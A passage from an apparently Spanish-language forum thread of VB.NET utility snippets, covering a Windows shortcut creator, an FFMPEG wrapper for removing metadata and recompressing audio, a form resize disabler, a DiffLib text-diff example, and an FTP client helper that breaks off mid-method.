''' </param>
''' <param name="HotKey_Key">
''' The key used in combination with the <paramref name="HotkeyModifiers"/> for hotkey combination.
''' </param>
''' <param name="WindowState">
''' The Window state for the target.
''' </param>
Public Shared Sub Create(ByVal FilePath As String,
ByVal Target As String,
Optional ByVal WorkingDirectory As String = Nothing,
Optional ByVal Description As String = Nothing,
Optional ByVal Arguments As String = Nothing,
Optional ByVal Icon As String = Nothing,
Optional ByVal IconIndex As Integer = Nothing,
Optional ByVal HotKey_Modifier As HotkeyModifiers = Nothing,
Optional ByVal HotKey_Key As Keys = Nothing,
Optional ByVal WindowState As ShortcutWindowState = ShortcutWindowState.Normal)
LoadShortcut(FilePath)
DirectCast(lnk, IShellLinkW).SetPath(Target)
DirectCast(lnk, IShellLinkW).SetWorkingDirectory(If(WorkingDirectory IsNot Nothing,
WorkingDirectory,
Path.GetDirectoryName(Target)))
DirectCast(lnk, IShellLinkW).SetDescription(Description)
DirectCast(lnk, IShellLinkW).SetArguments(Arguments)
DirectCast(lnk, IShellLinkW).SetIconLocation(Icon, IconIndex)
DirectCast(lnk, IShellLinkW).SetHotkey(If(HotKey_Modifier + HotKey_Key <> 0,
Convert.ToInt32(CInt(HotKey_Modifier & Hex(HotKey_Key)), 16),
Nothing))
DirectCast(lnk, IShellLinkW).SetShowCmd(WindowState)
DirectCast(lnk, IPersistFile).Save(FilePath, True)
DirectCast(lnk, IPersistFile).SaveCompleted(FilePath)
End Sub
#End Region
#Region " Private Methods "
''' <summary>
''' Loads the shortcut object to retrieve information.
''' </summary>
''' <param name="ShortcutFile">
''' The shortcut file to retrieve the info.
''' </param>
Private Shared Sub LoadShortcut(ByVal ShortcutFile As String)
DirectCast(lnk, IPersistFile).Load(ShortcutFile, 0)
End Sub
''' <summary>
''' Gets the low order byte of a number.
''' </summary>
Private Shared Function GetLoByte(ByVal Intg As Integer) As Integer
Return Intg And &HFF&
End Function
''' <summary>
''' Gets the high order byte of a number.
''' </summary>
Private Shared Function GetHiByte(ByVal Intg As Integer) As Integer
Return (Intg And &HFF00&) / 256
End Function
#End Region
End Class
#End Region
Otro ayudante más, en esta ocasión es para la aplicación FFMPEG,
no le añadí ningún método para convertir video (pero si uno para el audio) ya que no necesito convertir la pista de video, pero el código es facil de extender, solo hay que seguir el ejemplo del audio.
PD: Existen varios wrappers de FFMPEG para .NET, pero... todos obsoletos, en C#, y no he visto ninguno que tenga un triste evento al que subscribirse.
(http://img811.imageshack.us/img811/3097/4nso.png)
' [ FFMPEG Helper ]
'
' // By Elektro H@cker
'
' Instructions:
'
' 1. Add the "FFMPEG.exe" into the project
#Region " FFMPEG Helper "
#Region " Usage Examples "
'Public Class Form1
' Private WithEvents _FFMPEG As New FFMPEG With
' {.FFMPEG_location = "C:\windows\system32\ffmpeg.exe", .CheckFileExist = False}
' Private Shadows Sub Shown() Handles MyBase.Shown
' ' Checks if FFMPEG executable is avaliable.
' MsgBox(_FFMPEG.Is_Avaliable())
' ' Checks if a video has metadata
' MsgBox(_FFMPEG.HasMetadata("C:\Video.mkv"))
' ' Remove metadata from video
' _FFMPEG.RemoveMetadata("C:\Input.mkv", "C:\Output.mkv", True, 4)
' ' reCompress the audio track of a video
' _FFMPEG.Recompress_AudioTrack("C:\Input.mkv", "C:\Output.mkv", True,
' FFMPEG.AudioCodec.libmp3lame, FFMPEG.AudioBitRate.kbps_128, 4)
' End Sub
' ' FFMPEG [Started]
' Private Sub FFMPEG_Started(ByVal sender As Process, ByVal e As FFMPEG.StartedEventArgs) _
' Handles _FFMPEG.Started
' ProgressBar1.Value = ProgressBar1.Minimum
' Dim sb As New System.Text.StringBuilder
' sb.AppendLine(String.Format("Started an ""{0}"" operation", e.Operation.ToString))
' sb.AppendLine(String.Format("Input file is: ""{0}""", e.File))
' sb.AppendLine(String.Format("FFMPEG process PID is: ""{0}""", CStr(sender.Id)))
' MessageBox.Show(sb.ToString, "FFMPEG", MessageBoxButtons.OK, MessageBoxIcon.Information)
' End Sub
' ' FFMPEG [Exited]
' Private Sub FFMPEG_Exited(ByVal sender As Process, ByVal e As FFMPEG.ExitedEventArgs) _
' Handles _FFMPEG.Exited
' Dim sb As New System.Text.StringBuilder
' sb.AppendLine(String.Format("Finished an ""{0}"" operation", e.Operation.ToString))
' sb.AppendLine(String.Format("Input file is: ""{0}""", e.File))
' sb.AppendLine(String.Format("FFMPEG process PID is: {0}", CStr(sender.Id)))
' If e.Errors.Count <> 0 Then
' sb.AppendLine(String.Format("Errors during operation: {0}", String.Join(Environment.NewLine, e.Errors)))
' End If
' MessageBox.Show(sb.ToString, "FFMPEG", MessageBoxButtons.OK, MessageBoxIcon.Information)
' End Sub
' ' FFMPEG [Progress]
' Private Sub FFMPEG_Progress(sender As Process, e As FFMPEG.ProgressEventArgs) _
' Handles _FFMPEG.Progress
' ProgressBar1.Value = e.Percent
' Label1.Text = "Percent Done: " & CStr(e.Percent) & "%"
' Label2.Text = "Video Duration: " & e.VideoDuration.ToString("hh\:mm\:ss")
' Label3.Text = "Written Duration: " & e.Time.ToString("hh\:mm\:ss")
' Label4.Text = "Written Data: " & (e.WrittenBytes / 1024L * 1024L).ToString("n1") & "MB"
' End Sub
'End Class
#End Region
#Region " CommandLine Parameter legend "
'-y | Overwrite output files without asking.
'-n | Do not overwrite output files, and exit immediately if a specified output file already exists.
'-threads: | Specify the cpu threads to use.
'-nostdin | Disable interaction on standard input.
'-vcodec | Set the video codec.
'-acodec | Set the audio codec.
'-vn | Disable video recording.
'-an | Disable audio recording.
' -c copy -map_metadata -1
' Don't add metadata.
#End Region
Public Class FFMPEG : Implements IDisposable
#Region " Variables, Properties, Enumerations "
''' <summary>
''' Gets or sets FFMPEG.exe executable path.
''' </summary>
Public Property FFMPEG_location As String = ".\FFMPEG.exe"
''' <summary>
''' Unique temp file to write FFMPEG output.
''' </summary>
Private ReadOnly TempFile As String = IO.Path.GetTempFileName
''' <summary>
''' Indicates if should check that the file exist before realize an operation.
''' If True, an exception would be launched if file does not exist.
''' </summary>
Public Property CheckFileExist As Boolean = False
''' <summary>
''' Stores the next FFMEP process output line.
''' </summary>
Private OutputLine As String = Nothing
''' <summary>
''' Stores the Video Duration.
''' </summary>
Private VideoDuration As TimeSpan = Nothing
''' <summary>
''' Stores the processed video time.
''' </summary>
Private Time As TimeSpan = Nothing
''' <summary>
''' Stores the conversion errors (if any).
''' </summary>
Private Errors As New List(Of String)
''' <summary>
''' Stores the StartedEventArgs Arguments.
''' </summary>
Private StartedArgs As New StartedEventArgs
''' <summary>
''' Stores the ExitedEventArgs Arguments.
''' </summary>
Private ExitedArgs As New ExitedEventArgs
''' <summary>
''' Stores the ProgressEventArgs Arguments.
''' </summary>
Private ProgressArgs As New ProgressEventArgs
''' <summary>
''' FFMPEG kind Of Operation.
''' </summary>
Public Enum Operation As Short
Check_Metadata = 0
Remove_Metadata = 1
Recompress_AudioTrack = 2
End Enum
''' <summary>
''' FFMPEG Process.
''' </summary>
Private p As Process =
New Process With {.StartInfo =
New ProcessStartInfo With {
.CreateNoWindow = True, _
.UseShellExecute = False, _
.RedirectStandardError = True, _
.RedirectStandardOutput = True, _
.StandardErrorEncoding = System.Text.Encoding.Default, _
.StandardOutputEncoding = System.Text.Encoding.Default
}
}
''' <summary>
''' Audio Codec use for the conversion.
''' </summary>
Public Enum AudioCodec
''' <summary>
''' MP3 Audio.
''' </summary>
libmp3lame
''' <summary>
''' Windows Media Audio.
''' </summary>
wmav2
End Enum
''' <summary>
''' BitRate used for the audio compression.
''' </summary>
Public Enum AudioBitRate As Integer
kbps_24 = 24
kbps_32 = 32
kbps_40 = 40
kbps_48 = 48
kbps_56 = 56
kbps_64 = 64
kbps_80 = 80
kbps_96 = 96
kbps_112 = 112
kbps_128 = 128
kbps_144 = 144
kbps_160 = 160
kbps_192 = 192
kbps_224 = 224
kbps_256 = 256
kbps_320 = 320
End Enum
#End Region
#Region " Events "
''' <summary>
''' Event raised when FFMPEG operation progress changes.
''' </summary>
Public Event Progress As EventHandler(Of ProgressEventArgs)
Public Class ProgressEventArgs : Inherits EventArgs
''' <summary>
''' The FFMPEG operation percent done.
''' </summary>
Public Property Percent As Integer
''' <summary>
''' The Input Video Duration.
''' </summary>
Public Property VideoDuration As TimeSpan
''' <summary>
''' The processed video time.
''' </summary>
Public Property Time As TimeSpan
''' <summary>
''' The total amount of written bytes.
''' </summary>
Public Property WrittenBytes As Double
End Class
''' <summary>
''' Event raised when FFMPEG process has started.
''' </summary>
Public Event Started As EventHandler(Of StartedEventArgs)
Public Class StartedEventArgs : Inherits EventArgs
''' <summary>
''' Gets the file that was passed as argument to the process.
''' </summary>
Public Property File As String
''' <summary>
''' Gets the type of operation to realize.
''' </summary>
Public Property Operation As Operation
End Class
''' <summary>
''' Event raised when FFMPEG process has exited.
''' </summary>
Public Event Exited As EventHandler(Of ExitedEventArgs)
Public Class ExitedEventArgs : Inherits EventArgs
''' <summary>
''' Gets the file that was passed as argument to the process.
''' </summary>
Public Property File As String
''' <summary>
''' Gets the type of operation to realize.
''' </summary>
Public Property Operation As Operation
''' <summary>
''' Gets an error message of the realized operation (if any).
''' </summary>
Public Property Errors As List(Of String)
End Class
#End Region
#Region " Public Methods "
''' <summary>
''' Checks if FFMPEG process is avaliable.
''' </summary>
Public Function Is_Avaliable() As Boolean
Return IO.File.Exists(Me.FFMPEG_location)
End Function
''' <summary>
''' Checks if a video file contains metadata fields.
''' </summary>
Public Function HasMetadata(ByVal VideoFile As String) As Boolean
DisposedCheck()
p.StartInfo.Arguments =
String.Format("-y -i ""{0}"" -f ffmetadata ""{1}""",
VideoFile,
TempFile)
Run_FFMPEG(VideoFile, Operation.Check_Metadata)
Return IO.File.ReadAllText(TempFile).Replace(";FFMETADATA1", "").Trim.Length <> 0
End Function
''' <summary>
''' Removes the metadata tags from a video file.
''' </summary>
Public Sub RemoveMetadata(ByVal VideoFile As String,
ByVal OutputFile As String,
ByVal OverWrite As Boolean,
Optional ByVal Threads As Integer = 1)
DisposedCheck()
p.StartInfo.Arguments =
String.Format("-nostdin -threads {2} {3} -i ""{0}"" -c copy -map_metadata -1 ""{1}""",
VideoFile,
OutputFile,
Threads,
If(OverWrite, "-y", "-n"))
Run_FFMPEG(VideoFile, Operation.Remove_Metadata)
End Sub
''' <summary>
''' ReCompress the audio track of a video file.
''' </summary>
Public Sub Recompress_AudioTrack(ByVal VideoFile As String,
ByVal OutputFile As String,
ByVal OverWrite As Boolean,
ByVal AudioCodec As AudioCodec,
ByVal Bitrate As AudioBitRate,
Optional ByVal CopyMetadata As Boolean = False,
Optional ByVal Threads As Integer = 1)
DisposedCheck()
p.StartInfo.Arguments =
String.Format("-nostdin -threads {2} {3} -i ""{0}"" {6} -vcodec copy -acodec {4} -ab {5} ""{1}""",
VideoFile,
OutputFile,
Threads,
If(OverWrite, "-y", "-n"),
AudioCodec.ToString,
CStr(Bitrate) & "k",
If(CopyMetadata, "", "-c copy -map_metadata -1"))
Run_FFMPEG(VideoFile, Operation.Recompress_AudioTrack)
End Sub
#End Region
#Region " Run Method "
''' <summary>
''' Runs a specific operation of FFMPEG.
''' </summary>
Private Sub Run_FFMPEG(ByVal file As String,
ByVal Operation As Operation)
If Me.CheckFileExist Then
FileExist(file)
End If
VideoDuration = Nothing
Errors.Clear()
p.StartInfo.FileName = Me.FFMPEG_location
p.Start()
With StartedArgs
.File = file
.Operation = Operation
End With
RaiseEvent Started(p, StartedArgs)
While Not p.StandardError.EndOfStream
' Parse the Input Video Duration to calculate the percentage.
Do Until VideoDuration.TotalMilliseconds > 0
OutputLine = p.StandardError.ReadLine.ToLower
If OutputLine.Contains("duration") Then
Try
VideoDuration = TimeSpan.Parse(OutputLine.Replace("duration:", "").
Split(",").FirstOrDefault)
Catch ex As FormatException
VideoDuration = TimeSpan.Parse("24:00:00") ' 00:00:00
End Try
End If
Loop
' Parse the percentage and other values.
OutputLine = p.StandardError.ReadLine.ToLower
If OutputLine.StartsWith("frame=") Then
Time = TimeSpan.Parse(OutputLine.Split("=")(5).Split.First)
With ProgressArgs
.VideoDuration = VideoDuration
.Time = Time
.Percent = (Time.TotalSeconds / VideoDuration.TotalSeconds) * 100
.WrittenBytes = CDbl(OutputLine.Split("=")(4).Trim.Split.First.Replace("kb", "")) / 1024
End With
RaiseEvent Progress(p, ProgressArgs)
ElseIf (OutputLine.Contains("error") OrElse OutputLine.Contains("warning")) Then
Errors.Add(OutputLine)
#If DEBUG Then
' MsgBox("[DEBUG] FFMPEG Error: " & OutputLine)
#End If
End If
End While
With ExitedArgs
.File = file
.Operation = Operation
.Errors = Errors
End With
RaiseEvent Exited(p, ExitedArgs)
' FFMPEG.Close()
End Sub
#End Region
#Region " Miscellaneous Methods "
''' <summary>
''' Checks if a file exists.
''' </summary>
Private Sub FileExist(ByVal File As String)
If Not IO.File.Exists(File) Then
' Throw New Exception("File doesn't exist: " & File)
MessageBox.Show("File doesn't exist: " & File, "FFMPEG", MessageBoxButtons.OK, MessageBoxIcon.Error)
End If
End Sub
#End Region
#Region " IDisposable "
''' <summary>
''' To detect redundant calls when disposing.
''' </summary>
Private IsDisposed As Boolean = False
''' <summary>
''' Prevents calls to methods after disposing.
''' </summary>
Private Sub DisposedCheck()
If Me.IsDisposed Then
Throw New ObjectDisposedException(Me.GetType().FullName)
End If
End Sub
''' <summary>
''' Disposes the objects generated by this instance.
''' </summary>
Public Sub Dispose() Implements IDisposable.Dispose
Dispose(True)
GC.SuppressFinalize(Me)
End Sub
' IDisposable
Protected Overridable Sub Dispose(IsDisposing As Boolean)
If Not Me.IsDisposed Then
If IsDisposing Then
p.Dispose()
End If
End If
Me.IsDisposed = True
End Sub
#End Region
End Class
#End Region
Un ejemplo de uso:
Public Class Form1
Private WithEvents _FFMPEG As New FFMPEG With
{.FFMPEG_location = "C:\windows\system32\ffmpeg.exe", .CheckFileExist = False}
Private Shadows Sub Shown() Handles MyBase.Shown
' Checks if FFMPEG executable is avaliable.
MsgBox(_FFMPEG.Is_Avaliable())
' Checks if a video has metadata
MsgBox(_FFMPEG.HasMetadata("C:\Video.mkv"))
' Remove metadata from video
_FFMPEG.RemoveMetadata("C:\Input.mkv", "C:\Output.mkv", True, 4)
' reCompress the audio track of a video
_FFMPEG.Recompress_AudioTrack("C:\Input.mkv", "C:\Output.mkv", True,
FFMPEG.AudioCodec.libmp3lame, FFMPEG.AudioBitRate.kbps_128, 4)
End Sub
' FFMPEG [Started]
Private Sub FFMPEG_Started(ByVal sender As Process, ByVal e As FFMPEG.StartedEventArgs) _
Handles _FFMPEG.Started
ProgressBar1.Value = ProgressBar1.Minimum
Dim sb As New System.Text.StringBuilder
sb.AppendLine(String.Format("Started an ""{0}"" operation", e.Operation.ToString))
sb.AppendLine(String.Format("Input file is: ""{0}""", e.File))
sb.AppendLine(String.Format("FFMPEG process PID is: ""{0}""", CStr(sender.Id)))
MessageBox.Show(sb.ToString, "FFMPEG", MessageBoxButtons.OK, MessageBoxIcon.Information)
End Sub
' FFMPEG [Exited]
Private Sub FFMPEG_Exited(ByVal sender As Process, ByVal e As FFMPEG.ExitedEventArgs) _
Handles _FFMPEG.Exited
Dim sb As New System.Text.StringBuilder
sb.AppendLine(String.Format("Finished an ""{0}"" operation", e.Operation.ToString))
sb.AppendLine(String.Format("Input file is: ""{0}""", e.File))
sb.AppendLine(String.Format("FFMPEG process PID is: {0}", CStr(sender.Id)))
If e.Errors.Count <> 0 Then
sb.AppendLine(String.Format("Errors during operation: {0}", String.Join(Environment.NewLine, e.Errors)))
End If
MessageBox.Show(sb.ToString, "FFMPEG", MessageBoxButtons.OK, MessageBoxIcon.Information)
End Sub
' FFMPEG [Progress]
Private Sub FFMPEG_Progress(sender As Process, e As FFMPEG.ProgressEventArgs) _
Handles _FFMPEG.Progress
ProgressBar1.Value = e.Percent
Label1.Text = "Percent Done: " & CStr(e.Percent) & "%"
Label2.Text = "Video Duration: " & e.VideoDuration.ToString("hh\:mm\:ss")
Label3.Text = "Written Duration: " & e.Time.ToString("hh\:mm\:ss")
Label4.Text = "Written Data: " & (e.WrittenBytes / 1024L * 1024L).ToString("n1") & "MB"
End Sub
End Class
Desactivar la redimensión (resize) para ciertos lados del Form (izquierda, derecha, arriba, abajo, o esquinas...)
#Region " Form Resize Disabler "
' [ Form Resize Disabler ]
'
' Examples:
' Me.EnableResizeBottom = False
' Me.EnableResizeTop = False
Public Property EnableResizeTop As Boolean = True
Public Property EnableResizeLeft As Boolean = True
Public Property EnableResizeRight As Boolean = True
Public Property EnableResizeBottom As Boolean = True
Public Property EnableResizeTopLeft As Boolean = True
Public Property EnableResizeTopRight As Boolean = True
Public Property EnableResizeBottomLeft As Boolean = True
Public Property EnableResizeBottomRight As Boolean = True
Private Enum NCHitTest As Integer
Transparent = -1
Nowhere = 0
Client = 1
Caption = 2
Left = 10
Right = 11
Top = 12
TopLeft = 13
TopRight = 14
Bottom = 15
BottomLeft = 16
BottomRight = 17
Border = 18
End Enum
Protected Overrides Sub WndProc(ByRef m As Message)
MyBase.WndProc(m)
Select Case m.Msg
Case &H84 ' WM_NCHITTEST
Select Case CType(m.Result, NCHitTest)
Case NCHitTest.Top
If Not Me.EnableResizeTop Then m.Result = New IntPtr(NCHitTest.Caption)
Case NCHitTest.Left
If Not Me.EnableResizeLeft Then m.Result = New IntPtr(NCHitTest.Caption)
Case NCHitTest.Right
If Not Me.EnableResizeRight Then m.Result = New IntPtr(NCHitTest.Caption)
Case NCHitTest.Bottom
If Not Me.EnableResizeBottom Then m.Result = New IntPtr(NCHitTest.Caption)
Case NCHitTest.TopLeft
If Not Me.EnableResizeTopLeft Then m.Result = New IntPtr(NCHitTest.Caption)
Case NCHitTest.TopRight
If Not Me.EnableResizeTopRight Then m.Result = New IntPtr(NCHitTest.Caption)
Case NCHitTest.BottomLeft
If Not Me.EnableResizeBottomLeft Then m.Result = New IntPtr(NCHitTest.Caption)
Case NCHitTest.BottomRight
If Not Me.EnableResizeBottomRight Then m.Result = New IntPtr(NCHitTest.Caption)
End Select
End Select
End Sub
#End Region
Ejemplo de uso:
Private Sub Form_Shown() Handles MyBase.Shown
Me.EnableResizeTop = False
Me.EnableResizeBottom = False
End Sub
Un ejemplo de uso de la librería DiffLib http://difflib.codeplex.com/releases/view/57226
Para comparar texto.
(http://img12.imageshack.us/img12/702/0ya0.png)
' [ DiffLib Examples ]
'
' // By Elektro H@cker
'
' Instructions:
'
' 1. Reference the "DiffLib.dll" into the project.
#Region " DiffLib Examples "
Public Class Form1
ReadOnly text1 As String = "This is a test of the Diff implementation, with some text that is deleted."
ReadOnly text2 As String = "This is another test of the same implementation, with some more text."
Private Sub Test()
HtmlLabel1.Text = DumpDiff(New DiffLib.Diff(Of Char)(text1, text2),
KnownColor.Black,
KnownColor.Black,
KnownColor.Black,
KnownColor.Transparent,
KnownColor.YellowGreen,
KnownColor.Red,
13)
End Sub
Private Function DumpDiff(ByVal changes As IEnumerable(Of DiffLib.DiffChange),
ByVal Forecolor As KnownColor,
ByVal ForecolorAdded As KnownColor,
ByVal ForecolorDeleted As KnownColor,
ByVal BackColor As KnownColor,
ByVal BackColorAdded As KnownColor,
ByVal BackColorDeleted As KnownColor,
Optional ByVal FontSize As Integer = 10) As String
Dim html As New System.Text.StringBuilder()
Dim i1 As Integer = 0
Dim i2 As Integer = 0
For Each change As DiffLib.DiffChange In changes
If change.Equal Then
html.Append(String.Format("<span style='color: {0}; background-color: {1}; font-size: {2}pt'>{3}</span>",
Forecolor.ToString,
BackColor.ToString,
CStr(FontSize),
text1.Substring(i1, change.Length1)))
Else
html.Append(String.Format("<span style='color: {0}; background-color: {1}; font-size: {2}pt; text-decoration: line-through;'>{3}</span>",
ForecolorDeleted.ToString,
BackColorDeleted.ToString,
CStr(FontSize),
text1.Substring(i1, change.Length1)))
html.Append(String.Format("<span style='color: {0}; background-color: {1}; font-size: {2}pt'>{3}</span>",
ForecolorAdded.ToString,
BackColorAdded.ToString,
CStr(FontSize),
text2.Substring(i2, change.Length2)))
End If
i1 += change.Length1
i2 += change.Length2
Next change
Return html.ToString
End Function
End Class
#End Region
un ayudante para la librería FTPClient http://netftp.codeplex.com/
Imports System.Net
Imports System.Net.FtpClient
Imports System.Net.FtpClient.Extensions
#Region " FTPClient Helper "
' [ FTPClient Helper ]
'
' // By Elektro H@cker
#Region " Usage Examples "
'Public Class Form1
' Private WithEvents UploadClient As New System.Net.WebClient()
' Private WithEvents DownloadClient As New System.Net.WebClient()
' Private ftp As New FTP("sitio ftp", "username", "password")
' Private Sub Test() Handles MyBase.Shown
' ftp.Connect()
' ftp.CreateDirectory("/DirectoryName", True)
' ftp.UploadFile(UploadClient, "C:\File.txt", "/DirectoryName/NewFile.txt", False)
' ftp.DownloadFile(DownloadClient, "/DirectoryName/NewFile.txt", "c:\DownloadedFile.txt", True)
' End Sub
' Private Sub Client_UploadProgress(sender As System.Net.WebClient, e As System.Net.UploadProgressChangedEventArgs) _
' Handles UploadClient.UploadProgressChanged
' Label_Upload.Text = e.ProgressPercentage & "%"
' End Sub
' Private Sub Client_UploadCompleted(sender As System.Net.WebClient, e As System.Net.UploadFileCompletedEventArgs) _
' Handles UploadClient.UploadFileCompleted
' Label_UploadCompleted.Text = e.Result.ToString
' End Sub
' Private Sub Client_DownloadProgress(sender As System.Net.WebClient, e As System.Net.DownloadProgressChangedEventArgs) _
' Handles DownloadClient.DownloadProgressChanged
' Label_Download.Text = e.ProgressPercentage & "%"
' End Sub
' Private Sub Client_DownloadCompleted(sender As System.Net.WebClient, e As System.ComponentModel.AsyncCompletedEventArgs) _
' Handles DownloadClient.DownloadFileCompleted
' Label_DownloadCompleted.Text = "Done!"
' End Sub
'End Class
#End Region
Public Class FTP
#Region " Variables "
Private conn As New FtpClient
''' <summary>
''' The FTP site.
''' </summary>
Private Property host As String = String.Empty
''' <summary>
''' The user name.
''' </summary>
Private Property user As String = String.Empty
''' <summary>
''' The user password.
''' </summary>
Private Property pass As String = String.Empty
' Friend m_reset As New ManualResetEvent(False) ' Use it for CallBacks
#End Region
#Region " Constructor "
''' <summary>
''' .
''' </summary>
''' <param name="host">Indicates the ftp site.</param>
''' <param name="user">Indicates the username.</param>
''' <param name="pass">Indicates the password.</param>
Public Sub New(ByVal host As String,
ByVal user As String,
ByVal pass As String)
If Not host.ToLower.StartsWith("ftp://") Then
Me.host = "ftp://" & host
Else
Me.host = host
End If
If Me.host.Last = "/" Then
Me.host = Me.host.Remove(Me.host.Length - 1)
End If
Me.user = user
Me.pass = pass
With conn
.Host = If(host.Last = "/", host.Remove(host.Length - 1), host)
.Credentials = New NetworkCredential(Me.user, Me.pass)
End With
End Sub
#End Region
#Region " Public Methods "
''' <summary>
''' Connects to server.
''' </summary>
Public Sub Connect()
conn.Connect()
End Sub
''' <summary>
''' Disconnects from server.
''' </summary>
Public Sub Disconnect()
conn.Disconnect()
End Sub
''' <summary>
''' Creates a directory on server.
''' </summary>
''' <param name="directorypath">Indicates the ftp directory path.</param>
''' <param name="force">Try to force all non-existant pieces of the path to be created.</param>
Public Sub CreateDirectory(ByVal directorypath As String, ByVal force As Boolean)
conn.CreateDirectory(directorypath, force)
End Sub
''' <summary>
''' Creates a directory on server.
''' </summary>
''' <param name="directorypath">Indicates the ftp directory path.</param>
''' <param name="force">Try to force all non-existant pieces of the path to be created.</param>
''' <param name="FtpListOption">Options that dictate how a list is performed ans what information is gathered.</param>
Public Sub DeleteDirectory(ByVal directorypath As String,
ByVal force As Boolean,
Optional ByVal FtpListOption As FtpListOption =
FtpListOption.AllFiles Or FtpListOption.ForceList)
' Remove the directory and all objects beneath it. The last parameter
' forces System.Net.FtpClient to use LIST -a for getting a list of objects
' beneath the specified directory.
conn.DeleteDirectory(directorypath, force, FtpListOption)
End Sub
''' <summary>
''' Deletes a file on server.
''' </summary>
''' <param name="filepath">Indicates the ftp file path.</param>
Public Sub DeleteFile(ByVal filepath As String)
conn.DeleteFile(filepath)
End Sub
''' <summary>
''' Checks if a directory exist on server.
''' </summary>
''' <param name="directorypath">Indicates the ftp directory path.</param>
Public Function DirectoryExists(ByVal directorypath As String) As Boolean
Return conn.DirectoryExists(directorypath)
End Function
''' <summary>
''' Executes a command on server.
''' </summary>
''' <param name="command">Indicates the command to execute on the server.</param>
''' <returns>Returns an object containing the server reply information.</returns>
Public Function Execute(ByVal command As String) As FtpReply
Return (InlineAssignHelper(New FtpReply, conn.Execute(command)))
End Function
''' <summary>
''' Tries to execute a command on server.
''' </summary>
''' <param name="command">Indicates the command to execute on the server.</param>
''' <returns>Returns TRUE if command execution successfull, otherwise returns False.</returns>
Public Function TryExecute(ByVal command As String) As Boolean
Dim reply As FtpReply = Nothing
Return (InlineAssignHelper(reply, conn.Execute(command))).Success
End Function
''' <summary>
''' Checks if a file exist on server.
''' </summary>
''' <param name="filepath">Indicates the ftp file path.</param>
''' <param name="FtpListOption">Options that dictate how a list is performed ans what information is gathered.</param>
Public Function FileExists(ByVal filepath As String,
Optional ByVal FtpListOption As FtpListOption =
FtpListOption.AllFiles Or FtpListOption.ForceList) As Boolean
' The last parameter forces System.Net.FtpClient to use LIST -a
' for getting a list of objects in the parent directory.
Return conn.FileExists(filepath, FtpListOption)
End Function
''' <summary>
''' Retrieves a checksum of the given file
''' using a checksumming method that the server supports, if any.
''' The algorithm used goes in this order:
''' 1. HASH command (server preferred algorithm).
''' 2. MD5 / XMD5 commands
''' 3. XSHA1 command
''' 4. XSHA256 command
''' 5. XSHA512 command
''' 6. XCRC command
''' </summary>
''' <param name="filepath">Indicates the ftp file path.</param>
Public Function GetChecksum(ByVal filepath As String) As FtpHash
Return conn.GetChecksum(filepath)
End Function
''' <summary>
''' Gets the checksum of file on server and compare it with the checksum of local file.
''' </summary>
''' <param name="filepath">Indicates the ftp file path.</param>
''' <param name="localfilepath">Indicates the local disk file path.</param>
''' <param name="algorithm">Indicates the algorithm that should be used to verify checksums.</param>
''' <returns>Returns TRUE if both checksums are equal, otherwise returns False.</returns>
Public Function VerifyChecksum(ByVal filepath As String,
ByVal localfilepath As String,
ByVal algorithm As FtpHashAlgorithm) As Boolean
Dim hash As FtpHash = Nothing
hash = conn.GetChecksum(filepath)
' Make sure it returned a, to the best of our knowledge, valid hash object.
' The commands for retrieving checksums are
' non-standard extensions to the protocol so we have to
' presume that the response was in a format understood by
' System.Net.FtpClient and parsed correctly.
'
' In addition, there is no built-in support for verifying CRC hashes.
' You will need to write you own or use a third-party solution.
If hash.IsValid AndAlso hash.Algorithm <> algorithm Then
Return hash.Verify(localfilepath)
Else
Return Nothing
End If
End Function
''' <summary>
''' Gets the size of file.
''' </summary>
''' <param name="filepath">Indicates the ftp file path.</param>
Public Function GetFileSize(ByVal filepath As String) As Long
Return conn.GetFileSize(filepath)
End Function
''' <summary>
''' Gets the currently HASH algorithm used for the HASH command on server.
''' </summary>
Public Function GetHashAlgorithm() As FtpHashAlgorithm
Return conn.GetHashAlgorithm()
End Function
''' <summary>
''' Gets the modified time of file.
''' </summary>
''' <param name="filepath">Indicates the ftp file path.</param>
Public Function GetModifiedTime(ByVal filepath As String) As Date
Return conn.GetModifiedTime(filepath)
End Function
''' <summary>
''' Returns a file/directory listing using the NLST command.
''' </summary>
''' <param name="directorypath">Indicates the ftp file path.</param>
Public Function GetNameListing(ByVal directorypath As String) As String()
Return conn.GetNameListing(directorypath)
End Function
''' <summary>
''' Gets the current working directory on server.
''' </summary>
Public Function GetWorkingDirectory() As String
Return conn.GetWorkingDirectory()
End Function
''' <summary>
''' Opens the specified file to be appended to...
''' </summary>
''' <param name="filepath">Indicates the ftp file path.</param>
Public Function OpenAppend(ByVal filepath As String) As IO.Stream
Return conn.OpenAppend(filepath)
End Function
''' <summary>
''' Opens the specified file for reading.
''' </summary>
''' <param name="filepath">Indicates the ftp file path.</param>
Public Function OpenRead(ByVal filepath As String) As IO.Stream
Return conn.OpenRead(filepath)
End Function
''' <summary>
''' Opens the specified file for writing.
''' </summary>
''' <param name="filepath">Indicates the ftp file path.</param>
Public Function OpenWrite(ByVal filepath As String) As IO.Stream
Return conn.OpenWrite(filepath)
End Function
''' <summary>
''' Rename a file on the server.
''' </summary>
''' <param name="filepath">Indicates the ftp file path.</param>
''' <param name="newfilepath">Indicates the new ftp file path.</param>
Public Sub RenameFile(ByVal filepath As String, ByVal newfilepath As String)
If conn.FileExists(filepath) Then
conn.Rename(filepath, newfilepath)
Else
Throw New Exception(filepath & " File does not exist on server.")
End If
End Sub
''' <summary>
''' Rename a directory on the server.
''' </summary>
''' <param name="directorypath">Indicates the ftp file path.</param>
''' <param name="newdirectorypath">Indicates the new ftp file path.</param>
Public Sub RenameDirectory(ByVal directorypath As String, ByVal newdirectorypath As String)
If conn.DirectoryExists(directorypath) Then
conn.Rename(directorypath, newdirectorypath)
Else
Throw New Exception(directorypath & " Directory does not exist on server.")
End If
End Sub
''' <summary>
''' Tells the server wich hash algorithm to use for the HASH command.
''' </summary>
''' <param name="algorithm">Indicates the HASH algorithm.</param>
Public Function SetHashAlgorithm(ByVal algorithm As FtpHashAlgorithm) As Boolean
If conn.HashAlgorithms.HasFlag(algorithm) Then
conn.SetHashAlgorithm(algorithm)
Return True
Else
Return False
End If
End Function
''' <summary>
''' Sets the working directory on the server.
''' </summary>
''' <param name="directorypath">Indicates the ftp directory path.</param>
Public Sub SetWorkingDirectory(ByVal directorypath As String)
conn.SetWorkingDirectory(directorypath)
End Sub
''' <summary>
''' Gets a directory list on the specified path.
''' </summary>
''' <param name="directorypath">Indicates the ftp directory path.</param>
''' <param name="FtpListOption">Options that dictate how a list is performed ans what information is gathered.</param>
Public Function GetDirectories(ByVal directorypath As String,
Optional ByVal FtpListOption As FtpListOption =
